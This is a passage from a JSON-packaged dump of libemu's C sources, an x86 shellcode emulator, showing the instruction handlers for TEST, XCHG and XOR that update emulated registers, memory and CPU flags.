&m8);\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *i->imm8,\n\t\t\t\t\t\t\t\t m8)\n\n\t}\n\telse\n\t{\n\t\t/* F6 /0 ib \n\t\t * AND imm8 with r/m8; set SF, ZF, PF according to result\n\t\t * TEST r/m8,imm8   \n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(8,\n\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t *i->imm8,\n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm])\n\n\t}\n\treturn 0;\n}\n\n\nint32_t instr_group_3_f7_test(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* F7 /0 iw \n\t\t\t * AND imm16 with r/m16; set SF, ZF, PF according to result\n\t\t\t * TEST r/m16,imm16 \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *i->imm16,\n\t\t\t\t\t\t\t\t\t m16)\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* F7 /0 id \n\t\t\t * AND imm32 with r/m32; set SF, ZF, PF according to result\n\t\t\t * TEST r/m32,imm32 \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t i->imm,\n\t\t\t\t\t\t\t\t\t m32)\n\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* F7 /0 iw \n\t\t\t * AND imm16 with r/m16; set SF, ZF, PF according to result\n\t\t\t * TEST r/m16,imm16 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t *i->imm16,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm])\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* F7 /0 id \n\t\t\t * AND imm32 with r/m32; set SF, ZF, PF according to result\n\t\t\t * TEST r/m32,imm32 \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32,\n\t\t\t\t\t\t\t\t\t c,\n\t\t\t\t\t\t\t\t\t i->imm,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm])\n\t\t}\n\t}\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/functions/xchg.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#include <inttypes.h>\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n#include \"emu/emu_track.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 754*/\n\nint32_t instr_xchg_86(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* 86 /r \n\t\t * Exchange r8 (byte register) with byte from r/m8\n\t\t * XCHG r/m8,r8   \n\t\t * Exchange byte from r/m8 with r8 (byte register)\n\t\t * XCHG r8,r/m8   \n\t\t */     \n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, *c->reg8[i->modrm.opc]);\n\t\t*c->reg8[i->modrm.opc] = m8;\n\t}\n\telse\n\t{\n\t\t/* 86 /r \n\t\t * Exchange r8 (byte register) with byte from r/m8\n\t\t * XCHG r/m8,r8   \n\t\t * Exchange byte from r/m8 with r8 (byte register)\n\t\t * XCHG r8,r/m8   \n\t\t */     \n\t\tuint8_t swap8 = *c->reg8[i->modrm.rm];\n\t\t*c->reg8[i->modrm.rm] = *c->reg8[i->modrm.opc];\n\t\t*c->reg8[i->modrm.opc] = swap8;\n\t}\n\treturn 0;\n}\n\n\nint32_t instr_xchg_87(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 87 /r \n\t\t\t * Exchange r16 with word from r/m16\n\t\t\t * XCHG r/m16,r16 \n\t\t\t * Exchange word from r/m16 with r16\n\t\t\t * XCHG r16,r/m16 \n\t\t\t */     \n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, *c->reg16[i->modrm.opc]);\n\t\t\t*c->reg16[i->modrm.opc] = m16;\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 87 /r \n\t\t\t * Exchange r32 with doubleword from r/m32\n\t\t\t * XCHG r/m32,r32 \n\t\t\t * Exchange doubleword from r/m32 with r32\n\t\t\t * XCHG r32,r/m32 \n\t\t\t */     \n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, c->reg[i->modrm.opc]);\n\t\t\tc->reg[i->modrm.opc] = m32;\n\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 87 /r \n\t\t\t * Exchange r16 with word from r/m16\n\t\t\t * XCHG r/m16,r16 \n\t\t\t * Exchange word from r/m16 with r16\n\t\t\t * XCHG r16,r/m16 \n\t\t\t */     \n\t\t\tuint16_t swap16 = *c->reg16[i->modrm.rm];\n\t\t\t*c->reg16[i->modrm.rm] = *c->reg16[i->modrm.opc];\n\t\t\t*c->reg16[i->modrm.opc] = swap16;\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 87 /r \n\t\t\t * Exchange r32 with doubleword from r/m32\n\t\t\t * XCHG r/m32,r32 \n\t\t\t * Exchange doubleword from r/m32 with r32\n\t\t\t * XCHG r32,r/m32 \n\t\t\t */     \n\t\t\tuint32_t swap32 = c->reg[i->modrm.rm];\n\t\t\tc->reg[i->modrm.rm] = c->reg[i->modrm.opc];\n\t\t\tc->reg[i->modrm.opc] = swap32;\n\n\t\t}\n\n\t}\n\treturn 0;\n}\n\nint32_t instr_xchg_9x(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\t\t/* 90+rw \n\t\t * Exchange r16 with AX\n\t\t * XCHG AX,r16    \n\t\t * Exchange AX with r16\n\t\t * XCHG r16,AX    \n\t\t */     \n\t\tuint16_t swap16 = *c->reg16[ax];\n\t\t*c->reg16[ax] = *c->reg16[i->opc & 7];\n\t\t*c->reg16[i->opc & 7] = swap16;\n\n\n\t}\n\telse\n\t{\n\t\t/* 90+rd \n\t\t * Exchange r32 with EAX\n\t\t * XCHG EAX,r32   \n\t\t * Exchange EAX with r32\n\t\t * XCHG r32,EAX   \n\t\t */\n\n\t\tuint32_t swap32 = c->reg[eax];\n\t\tc->reg[eax] = c->reg[i->opc & 7];\n\t\tc->reg[i->opc & 7] = swap32;\n\n\t\tif ( c->tracking != NULL )\n\t\t{\n\t\t\tswap32 = c->tracking->track.reg[eax];\n\t\t\tc->tracking->track.reg[eax] = c->tracking->track.reg[i->opc & 7];\n\t\t\tc->tracking->track.reg[i->opc & 7] = swap32;\n\t\t}\n\n\t}\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/functions/xor.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_memory.h\"\n\n\n#ifdef INSTR_CALC_AND_SET_FLAGS\n#undef INSTR_CALC_AND_SET_FLAGS\n#endif // INSTR_CALC_AND_SET_FLAGS\n\n#define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b, c, operation)\t\\\nINSTR_CALC(bits, a, b, c, operation)\t\t\t\t\t\t\t\t\\\nCPU_FLAG_UNSET(cpu, f_of);\t\t\t\t\t\t\t\t\t\t\\\nCPU_FLAG_UNSET(cpu, f_cf);\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_ZF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_PF(cpu)\t\t\t\t\t\t\t\t\t\t\t\\\nINSTR_SET_FLAG_SF(cpu)\t\t\t\t\t\t\t\t\t\t\t\n\n\n\n#define TRACK_INIT_ALL_FLAGS(instruction_p) \\\nTRACK_INIT_EFLAG(instruction_p, f_of); \\\nTRACK_INIT_EFLAG(instruction_p, f_cf); \\\nTRACK_INIT_EFLAG(instruction_p, f_zf); \\\nTRACK_INIT_EFLAG(instruction_p, f_pf); \\\nTRACK_INIT_EFLAG(instruction_p, f_sf); \n\n\nint32_t instr_xor_30(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\t/* 30 /r\n\t * r/m8 XOR r8\n\t * XOR r/m8,r8     \n\t */\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t dst;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &dst);\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t ^)\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, dst);\n\t}\n\telse\n\t{\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t ^)\n\n\t\tTRACK_NEED_REG8(c->instr, i->modrm.rm);\n\t\tTRACK_INIT_REG8(c->instr, i->modrm.rm);\n\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_xor_31(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 31 /r\n\t\t\t * r/m16 XOR r16\n\t\t\t * XOR r/m16,r16   \n\t\t\t */\n\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t ^)\n\t\t\tTRACK_NEED_REG16(c->instr, i->modrm.opc);\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 31 /r\n\t\t\t * r/m32 XOR r32\n\t\t\t * XOR r/m32,r32   \n\t\t\t */\n\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t ^)\n\t\t\tTRACK_NEED_REG32(c->instr, i->modrm.opc);\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 31 /r\n\t\t\t * r/m16 XOR r16\n\t\t\t * XOR r/m16,r16   \n\t\t\t */\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t ^)\n\t\t\tTRACK_NEED_REG16(c->instr, i->modrm.rm);\n\t\t\tTRACK_NEED_REG16(c->instr, i->modrm.opc);\n\t\t\tTRACK_INIT_REG16(c->instr, i->modrm.rm);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 31 /r\n\t\t\t * r/m32 XOR r32\n\t\t\t * XOR r/m32,r32   \n\t\t\t */\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t ^)\n\n\t\t\tif (i->modrm.opc == i->modrm.rm)\n\t\t\t{\n\t\t\t\tTRACK_INIT_REG32(c->instr, i->modrm.opc);\n\t\t\t}\n\n/*\t\t\tTRACK_NEED_REG32(c->instr, i->modrm.rm);\n\t\t\tTRACK_NEED_REG32(c->instr, i->modrm.opc);\n\t\t\tTRACK_INIT_REG32(c->instr, i->modrm.rm);\n*/\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_xor_32(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\t/* 32 /r\n\t * r8 XOR r/m8\n\t * XOR r8,r/m8     \n\t */\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t op;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &op);\n\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t op, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t ^)\n\n\t\tTRACK_NEED_REG8(c->instr, i->modrm.opc);\n\t\tTRACK_INIT_REG8(c->instr, i->modrm.opc);\n\t}\n\telse\n\t{\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.opc], \n\t\t\t\t\t\t\t\t ^)\n\n\t\tTRACK_NEED_REG8(c->instr, i->modrm.opc);\n\t\tTRACK_NEED_REG8(c->instr, i->modrm.rm);\n\t\tTRACK_INIT_REG8(c->instr, i->modrm.opc);\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_xor_33(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 33 /r\n\t\t\t * r8 XOR r/m8\n\t\t\t * XOR r16,r/m16   \n\t\t\t */\n\n\n\t\t\tuint16_t op;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &op);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t op,\n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t ^)\n\n\t\t\tTRACK_NEED_REG16(c->instr, i->modrm.opc);\n\t\t\tTRACK_INIT_REG16(c->instr, i->modrm.opc);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 33 /r\n\t\t\t * r8 XOR r/m8\n\t\t\t * XOR r32,r/m32   \n\t\t\t */\n\n\t\t\tuint32_t op;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &op);\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t op,\n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t ^)\n\n\t\t\tif (operation_result == 0)\n\t\t\t{\n\t\t\t\tTRACK_INIT_REG32(c->instr, i->modrm.opc);\t\t\t\n\t\t\t}\n\n/*\t\t\tTRACK_NEED_REG32(c->instr, i->modrm.opc);\n\n*/\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 33 /r\n\t\t\t * r8 XOR r/m8\n\t\t\t * XOR r16,r/m16   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t ^)\n\n\t\t\tif (i->modrm.opc == i->modrm.rm)\n\t\t\t{\n\t\t\t\tTRACK_INIT_REG16(c->instr, i->modrm.opc);\n\t\t\t}\n\n/*\t\t\tTRACK_NEED_REG16(c->instr, i->modrm.rm);\n\t\t\tTRACK_NEED_REG16(c->instr, i->modrm.opc);\n\t\t\tTRACK_INIT_REG16(c->instr, i->modrm.opc);\n*/\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 33 /r\n\t\t\t * r8 XOR r/m8\n\t\t\t * XOR r32,r/m32   \n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.opc], \n\t\t\t\t\t\t\t\t\t ^)\n\n\t\t\tif (i->modrm.opc == i->modrm.rm)\n\t\t\t{\n\t\t\t\tTRACK_INIT_REG32(c->instr, i->modrm.opc);\n\t\t\t}\n\t\t\t\n/*\n\t\t\tTRACK_NEED_REG32(c->instr, i->modrm.rm);\n\t\t\tTRACK_NEED_REG32(c->instr, i->modrm.opc);\n\t\t\tTRACK_INIT_REG32(c->instr, i->modrm.opc);\n*/\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_xor_34(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\t/* 34 ib\n\t * AL XOR imm8\n\t * XOR AL,imm8\n\t */\n\n\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t *c->reg8[al], \n\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t *c->reg8[al], \n\t\t\t\t\t\t\t ^)\n\n\tTRACK_NEED_REG8(c->instr, al);\n\tTRACK_INIT_REG8(c->instr, al);\n\n\treturn 0;\n}\n\nint32_t instr_xor_35(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->prefixes & PREFIX_OPSIZE )\n\t{\n\n\t\t/* 35 iw\n\t\t * AX XOR imm16\n\t\t * XOR AX,imm16\n\t\t */\n\n\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg16[ax], \n\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t *c->reg16[ax], \n\t\t\t\t\t\t\t\t ^)\n\n\t\tTRACK_NEED_REG16(c->instr, ax);\n\t\tTRACK_INIT_REG16(c->instr, ax);\n\n\t}\n\telse\n\t{\n\t\t/* 35 id\n\t\t * EAX XOR imm32\n\t\t * XOR EAX,imm32\n\t\t */\n\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t c->reg[eax], \n\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t c->reg[eax], \n\t\t\t\t\t\t\t\t ^)\n\n\t\tTRACK_NEED_REG32(c->instr, eax);\n\t\tTRACK_INIT_REG32(c->instr, eax);\n\n\t}\n\n\treturn 0;\n}\n\n\nint32_t instr_group_1_80_xor(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif( i->modrm.mod != 3 )\n\t{\n\t\tuint8_t dst;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &dst);\n\t\t/* dst <-- dst <OPC> imm8 */\n\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t ^)\n\n\t\tMEM_BYTE_WRITE(c, i->modrm.ea, dst);\n\t}\n\telse\n\t{\n\t\t/* reg8[rm] <-- reg8[rm] <OPC> imm8 */\n\t\tINSTR_CALC_AND_SET_FLAGS(8, \n\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm], \n\t\t\t\t\t\t\t\t *i->imm8, \n\t\t\t\t\t\t\t\t *c->reg8[i->modrm.rm],\n\t\t\t\t\t\t\t\t ^)\n\n\t\tTRACK_INIT_REG8(c->instr, i->modrm.rm);\n\t\tTRACK_NEED_REG8(c->instr, i->modrm.rm);\n\t}\n\n\treturn 0;\n}\n\n\nint32_t instr_group_1_81_xor(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 81 /6 iw \n\t\t\t * r/m16 XOR imm16\n\t\t\t * XOR r/m16,imm16\n\t\t\t */\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t ^)\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 81 /6 id \n\t\t\t * r/m32 XOR imm32\n\t\t\t * XOR r/m32,imm32\n\t\t\t */\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t ^)\n\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 81 /6 iw \n\t\t\t * r/m16 XOR imm16\n\t\t\t * XOR r/m16,imm16\n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t *i->imm16, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t ^)\n\n\t\t\tTRACK_NEED_REG16(c->instr, i->modrm.rm);\n\t\t\tTRACK_INIT_REG16(c->instr, i->modrm.rm);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 81 /6 id \n\t\t\t * r/m32 XOR imm32\n\t\t\t * XOR r/m32,imm32\n\t\t\t */\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t i->imm, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t ^)\n\n\t\t\tTRACK_NEED_REG32(c->instr, i->modrm.rm);\n\t\t\tTRACK_INIT_REG32(c->instr, i->modrm.rm);\n\n\n\t\t}\n\t}\n\treturn 0;\n}\n\nint32_t instr_group_1_83_xor(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tTRACK_INIT_ALL_FLAGS(c->instr);\n\n\tif ( i->modrm.mod != 3 )\n\t{\n\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 83 /6 ib \n\t\t\t * r/m16 XOR imm8 (sign-extended)\n\t\t\t * XOR r/m16,imm8  \n\t\t\t */\n\t\t\tint16_t sexd = (int8_t)*i->imm8;\n\n\t\t\tuint16_t dst;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst,\n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t ^)\n\n\t\t\tMEM_WORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t/* 83 /6 ib \n\t\t\t * r/m32 XOR imm8 (sign-extended)\n\t\t\t * XOR r/m32,imm8  \n\t\t\t */\n\t\t\tint32_t sexd = (int8_t)*i->imm8;\n\n\t\t\tuint32_t dst;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &dst);\n\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t dst,\n\t\t\t\t\t\t\t\t\t sexd, \n \t\t\t\t\t\t\t\t\t dst, \n\t\t\t\t\t\t\t\t\t ^)\n\t\t\tMEM_DWORD_WRITE(c, i->modrm.ea, dst);\n\t\t}\n\t}\n\telse\n\t{\n\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 83 /6 ib \n\t\t\t * r/m16 XOR imm8 (sign-extended)\n\t\t\t * XOR r/m16,imm8  \n\t\t\t */\n\t\t\tint16_t sexd = (int8_t)*i->imm8;\n\t\t\tINSTR_CALC_AND_SET_FLAGS(16, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t *c->reg16[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t ^)\n\n\t\t\tTRACK_NEED_REG16(c->instr, i->modrm.rm);\n\t\t\tTRACK_INIT_REG16(c->instr, i->modrm.rm);\n\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t/* 83 /6 ib \n\t\t\t * r/m32 XOR imm8 (sign-extended)\n\t\t\t * XOR r/m32,imm8  \n\t\t\t */\n\t\t\tint32_t sexd = 